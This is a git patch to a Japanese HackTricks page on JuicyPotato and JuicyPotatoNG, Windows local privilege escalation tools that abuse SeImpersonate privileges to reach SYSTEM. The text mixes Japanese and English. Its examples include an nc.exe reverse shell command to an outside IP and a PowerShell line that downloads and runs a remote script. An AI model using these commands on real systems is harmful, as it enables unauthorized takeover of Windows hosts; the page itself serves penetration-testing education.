From f5033c9fa3bd5f38e780d5c097f166275335db56 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 3 Sep 2025 12:33:10 +0000 Subject: [PATCH] Translated ['src/windows-hardening/windows-local-privilege-escalation/ju --- .../juicypotato.md | 122 +++++++++++------- 1 file changed, 74 insertions(+), 48 deletions(-) diff --git a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md index c36051df7..c37ea6564 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md +++ b/src/windows-hardening/windows-local-privilege-escalation/juicypotato.md @@ -2,54 +2,60 @@ {{#include ../../banners/hacktricks-training.md}} -> [!WARNING] > **JuicyPotatoは** Windows Server 2019 および Windows 10 ビルド 1809 以降では動作しません。しかし、[**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**、** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**、** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato) を使用して **同じ特権を利用し、`NT AUTHORITY\SYSTEM`** レベルのアクセスを取得できます。 _**確認:**_ +> [!WARNING] > JuicyPotato はレガシーです。一般的に Windows 10 1803 / Windows Server 2016 までのバージョンで動作します。Windows 10 1809 / Server 2019 以降で導入された Microsoft のハードニングによって元の手法は動作しなくなりました。これら以降のビルドでは PrintSpoofer、RoguePotato、SharpEfsPotato/EfsPotato、GodPotato などのモダンな代替手段を検討してください。最新のオプションと使用法については下のページを参照してください。 + {{#ref}} roguepotato-and-printspoofer.md {{#endref}} -## Juicy Potato (ゴールデン特権の悪用) +## Juicy Potato (abusing the golden privileges) -_少しのジュースを加えた_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG) _の甘いバージョン、つまり **Windows サービスアカウントから NT AUTHORITY\SYSTEM への別のローカル特権昇格ツール**_ +_A sugared version of_ [_RottenPotatoNG_](https://github.com/breenmachine/RottenPotatoNG)_, with a bit of juice, i.e. **another Local Privilege Escalation tool, from a Windows Service Accounts to NT AUTHORITY\SYSTEM**_ -#### juicypotato は [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) からダウンロードできます +#### You can download juicypotato from [https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts](https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts) -### 概要 +### Compatibility quick notes -[**juicy-potato Readme から**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** +- 現在のコンテキストが SeImpersonatePrivilege または SeAssignPrimaryTokenPrivilege を持っている場合、Windows 10 1803 および Windows Server 2016 までで安定して動作します。 +- Windows 10 1809 / Windows Server 2019 以降での Microsoft によるハードニングによって破壊されています。これらのビルドでは上で挙げた代替手段を優先してください。 -[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) とその [バリアント](https://github.com/decoder-it/lonelypotato) は、[`BITS`]() [サービス](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) に基づく特権昇格チェーンを利用し、`127.0.0.1:6666` で MiTM リスナーを持ち、`SeImpersonate` または `SeAssignPrimaryToken` 特権を持っている場合に機能します。Windows ビルドレビュー中に、`BITS` が意図的に無効にされ、ポート `6666` が使用されている設定を見つけました。 +### Summary -私たちは [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) を武器化することに決めました: **Juicy Potato にこんにちは。** +[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md)**:** -> 理論については、[Rotten Potato - サービスアカウントから SYSTEM への特権昇格](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) を参照し、リンクと参照のチェーンをたどってください。 +[RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG) and its [variants](https://github.com/decoder-it/lonelypotato) leverages the privilege escalation chain based on [`BITS`]() [service](https://github.com/breenmachine/RottenPotatoNG/blob/4eefb0dd89decb9763f2bf52c7a067440a9ec1f0/RottenPotatoEXE/MSFRottenPotato/MSFRottenPotato.cpp#L126) having the MiTM listener on `127.0.0.1:6666` and when you have `SeImpersonate` or `SeAssignPrimaryToken` privileges. During a Windows build review we found a setup where `BITS` was intentionally disabled and port `6666` was taken. -私たちは、`BITS` 以外にも悪用できるいくつかの COM サーバーがあることを発見しました。それらは次の条件を満たす必要があります: +We decided to weaponize [RottenPotatoNG](https://github.com/breenmachine/RottenPotatoNG): **Say hello to Juicy Potato**. -1. 現在のユーザーによってインスタンス化可能であること、通常は偽装特権を持つ「サービスユーザー」 -2. `IMarshal` インターフェースを実装していること -3. 高い権限のユーザー (SYSTEM、Administrator など) として実行されること +> For the theory, see [Rotten Potato - Privilege Escalation from Service Accounts to SYSTEM](https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/) and follow the chain of links and references. -いくつかのテストの後、私たちは複数の Windows バージョンで [興味深い CLSID のリスト](http://ohpe.it/juicy-potato/CLSID/) を取得し、テストしました。 +我々は `BITS` 以外にも悪用できる COM サーバが複数存在することを発見しました。これらは以下を満たす必要があります: -### ジューシーな詳細 +1. 現在のユーザからインスタンス化可能であること(通常はインパーソネーション権限を持つ“service user”) +2. `IMarshal` インターフェイスを実装していること +3. エレベートされたユーザ(SYSTEM、Administrator、…)として実行されていること -JuicyPotato を使用すると: +いくつかのテスト後、複数の Windows バージョン上で [interesting CLSID’s](http://ohpe.it/juicy-potato/CLSID/) の広範なリストを取得・テストしました。 -- **ターゲット CLSID** _任意の CLSID を選択できます。_ [_こちら_](http://ohpe.it/juicy-potato/CLSID/) _で OS ごとに整理されたリストを見つけることができます。_ -- **COM リスニングポート** _好みの COM リスニングポートを定義します (ハードコーディングされた 6666 の代わりに)_ -- **COM リスニング IP アドレス** _任意の IP にサーバーをバインドします_ -- **プロセス作成モード** _偽装されたユーザーの特権に応じて、次のいずれかを選択できます:_ -- `CreateProcessWithToken` (必要な特権: `SeImpersonate`) -- `CreateProcessAsUser` (必要な特権: `SeAssignPrimaryToken`) -- `両方` -- **起動するプロセス** _エクスプロイトが成功した場合に実行する実行可能ファイルまたはスクリプト_ -- **プロセス引数** _起動するプロセスの引数をカスタマイズします_ -- **RPC サーバーアドレス** _ステルスアプローチのために、外部 RPC サーバーに認証できます_ -- **RPC サーバーポート** _外部サーバーに認証したい場合に便利で、ファイアウォールがポート `135` をブロックしている場合…_ -- **テストモード** _主にテスト目的、つまり CLSID のテスト。DCOM を作成し、トークンのユーザーを表示します。テストについては_ [_こちら_](http://ohpe.it/juicy-potato/Test/) _を参照してください。_ +### Juicy details -### 使用法 +JuicyPotato により以下が可能です: + +- **Target CLSID** _pick any CLSID you want._ [_Here_](http://ohpe.it/juicy-potato/CLSID/) _you can find the list organized by OS._ +- **COM Listening port** _定義したい COM リッスンポートを指定できます(マシュアルされたハードコーディングの 6666 の代わりに)_ +- **COM Listening IP address** _サーバを任意の IP にバインドできます_ +- **Process creation mode** _インパーソネートされたユーザの権限に応じて以下から選べます:_ +- `CreateProcessWithToken` (needs `SeImpersonate`) +- `CreateProcessAsUser` (needs `SeAssignPrimaryToken`) +- `both` +- **Process to launch** _エクスプロイトが成功した場合に起動する実行ファイルやスクリプトを指定できます_ +- **Process Argument** _起動するプロセスの引数をカスタマイズできます_ +- **RPC Server address** _ステルスなアプローチのために外部の RPC サーバへ認証することができます_ +- **RPC Server port** _外部サーバへ認証したいがファイアウォールがポート `135` をブロックしている場合に便利です…_ +- **TEST mode** _主にテスト目的、すなわち CLSID のテスト用です。DCOM を作成しトークンのユーザを表示します。テストについては_ [_here for testing_](http://ohpe.it/juicy-potato/Test/) + +### Usage ``` T:\>JuicyPotato.exe JuicyPotato v0.1 @@ -66,23 +72,44 @@ Optional args: -k : RPC server ip address (default 127.0.0.1) -n : RPC server listen port (default 135) ``` -### 最後の考え +### 最終的な考察 -[**juicy-potato Readme から**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** +[**From juicy-potato Readme**](https://github.com/ohpe/juicy-potato/blob/master/README.md#final-thoughts)**:** -ユーザーが `SeImpersonate` または `SeAssignPrimaryToken` 権限を持っている場合、あなたは **SYSTEM** です。 +ユーザーに `SeImpersonate` または `SeAssignPrimaryToken` 権限がある場合、あなたは **SYSTEM** です。 -これらの COM サーバーの悪用を防ぐことはほぼ不可能です。`DCOMCNFG` を介してこれらのオブジェクトの権限を変更することを考えるかもしれませんが、うまくいくことは難しいでしょう。 +これらすべての COM サーバーの悪用を完全に防ぐことはほぼ不可能です。`DCOMCNFG` を使ってこれらオブジェクトの権限を変更することを検討するかもしれませんが、かなり難しいでしょう。 -実際の解決策は、`* SERVICE` アカウントの下で実行される敏感なアカウントとアプリケーションを保護することです。`DCOM` を停止することは確かにこのエクスプロイトを抑制しますが、基盤となる OS に深刻な影響を与える可能性があります。 +実際の解決策は、`* SERVICE` アカウントで動作する機密性の高いアカウントおよびアプリケーションを保護することです。`DCOM` を停止すれば確かにこのエクスプロイトを抑制できますが、基盤となる OS に深刻な影響を与える可能性があります。 出典: [http://ohpe.it/juicy-potato/](http://ohpe.it/juicy-potato/) +## JuicyPotatoNG (2022+) + +JuicyPotatoNG は、以下を組み合わせることで、最新の Windows 上に JuicyPotato スタイルのローカル権限昇格を再導入します: +- 選択したポート上のローカル RPC サーバーへの DCOM OXID 解決を行い、古いハードコードされた 127.0.0.1:6666 リスナーを回避します。 +- SSPI フックを使い、RpcImpersonateClient を必要とせずに受信する SYSTEM 認証をキャプチャしてなりすます機能。これにより SeAssignPrimaryTokenPrivilege のみが存在する場合でも CreateProcessAsUser が可能になります。 +- PrintNotify / ActiveX Installer Service クラスをターゲットにする際に以前必要だった INTERACTIVE グループ要件など、DCOM アクティベーション制約を満たすためのトリック。 + +重要な注意点(ビルドごとに挙動が変化しています): +- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. +- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. + +基本的な使い方(詳細なフラグはヘルプ参照): +``` +JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" +# Useful helpers: +# -b Bruteforce all CLSIDs (testing only; spawns many processes) +# -s Scan for a COM port not filtered by Windows Defender Firewall +# -i Interactive console (only with CreateProcessAsUser) +``` +Windows 10 1809 / Server 2019 を対象としていて classic JuicyPotato がパッチ適用されている場合は、上部にリンクされている代替(RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等)を優先してください。NG はビルドやサービスの状態によっては状況依存です。 + ## 例 -注: CLSID のリストを試すには [このページ](https://ohpe.it/juicy-potato/CLSID/) を訪れてください。 +注: 試す CLSID の一覧は [this page](https://ohpe.it/juicy-potato/CLSID/) を参照してください。 -### nc.exe リバースシェルを取得する +### nc.exe を使った reverse shell を取得する ``` c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t * @@ -99,30 +126,29 @@ c:\Users\Public> ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### 新しいCMDを起動する(RDPアクセスがある場合) +### Launch a new CMD (if you have RDP access) ![](<../../images/image (300).png>) -## CLSIDの問題 +## CLSID Problems -多くの場合、JuicyPotatoが使用するデフォルトのCLSIDは**機能しない**ため、エクスプロイトが失敗します。通常、**動作するCLSID**を見つけるには複数の試行が必要です。特定のオペレーティングシステムで試すためのCLSIDのリストを取得するには、このページを訪問してください: +多くの場合、JuicyPotato が使用するデフォルトの CLSID は **機能せず**、exploit は失敗します。通常、**動作する CLSID** を見つけるには複数回の試行が必要です。特定のオペレーティングシステムで試す CLSID の一覧を取得するには、次のページを参照してください: -{{#ref}} -https://ohpe.it/juicy-potato/CLSID/ -{{#endref}} +- [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) -### **CLSIDの確認** +### **Checking CLSIDs** -まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。 +まず、juicypotato.exe に加えていくつかの実行可能ファイルが必要です。 -[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1)をダウンロードしてPSセッションに読み込み、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)をダウンロードして実行します。そのスクリプトはテストするための可能なCLSIDのリストを作成します。 +[Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) をダウンロードして PS セッションに読み込み、[GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1) をダウンロードして実行します。そのスクリプトはテスト用の CLSID 候補リストを作成します。 -次に、[test_clsid.bat](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)をダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。すべてのCLSIDを試し始め、**ポート番号が変更されると、それはCLSIDが機能したことを意味します**。 +次に [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(CLSID リストと juicypotato 実行ファイルへのパスを変更してください) をダウンロードして実行します。これにより全ての CLSID を順に試し、**ポート番号が変わったときは、その CLSID が動作したことを意味します**。 -**パラメータ-cを使用して**動作するCLSIDを**確認してください**。 +パラメータ -c を使用して、動作する CLSID を**確認**してください -## 参考文献 +## References - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) +- [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/) {{#include ../../banners/hacktricks-training.md}}